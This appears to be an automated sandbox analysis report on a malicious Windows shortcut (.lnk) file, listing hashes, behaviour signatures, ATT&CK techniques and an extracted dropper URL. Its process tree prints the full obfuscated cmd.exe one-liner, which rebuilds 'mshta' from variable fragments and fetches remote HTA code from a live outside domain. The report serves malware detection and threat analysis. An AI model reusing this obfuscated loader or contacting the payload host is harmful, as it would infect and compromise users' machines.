9d408dd67833872848edbdc75d9711629899e4260cde7c1abb40cd98e1d12fb4

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
03/08/2026, 13:31

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General

Target
DOC-BL42OH.lnk
Size 2KB
Sample260803-qswt1a1vbx
SHA256 9d408dd67833872848edbdc75d9711629899e4260cde7c1abb40cd98e1d12fb4
MD5 a937e1d79234388d6c7f851386f6892f
SHA1 8b9b50c03a4701a8dd8514f9fa4c395519aab047
SHA512 4f37f34e81afb4a42869308f6e65a582211ace941bf1614b249705e4c0a079aae46a9aca21322800b686e00c7a256ad7c7975b5fe2a64258c27dc6bdfe76832e
TLSH
T15A4125803BEE0198F2FF8E32EDBE6B5045BBB9626D60C59D0950810D1832B01D9B6B77
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2532	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2532 wrote to memory of 2156	2532	cmd.exe	87
PID 2156 wrote to memory of 412	2156	cmd.exe	88

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-BL42OH.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2532
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /d/V:on/C"set nf=winechdlrxolpytowin&set SV=sysfrgdazqvzasys&set Qr=netetnyunmmecnet&set zBf=fymy8&&set jE=sypsh4&&set BcU=fbqtaqx&set qg=dateumjlblxvdcbdvgsahhtrmdat&set tZ=ssv&&set xtYYo=9tajzm&&set nOYz=9rtk1&set pMMv=netpxuzjldxsetnet&set RqNDR=logcootrycuxfcjisxdlog&set Yn=datyoovzurhvraifredbodat&set nGiX=dbgjebfkzezguypldtmsmdbg&set FwgbW=tmpipbdkczimfpymttmp&&set cArK=htt@p@s:@/@/@bro-@pdffi@[email protected]@at/@h@/@e@st@[email protected]@hp@?r@=360@7@61F15794&&start /b !zBf:~2,1!!jE:~3,2!!BcU:~3,2! !cArK:@=!&&set Gme=done"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2156
- - C:\Windows\System32\mshta.exe
    mshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
    3⤵
    PID:412

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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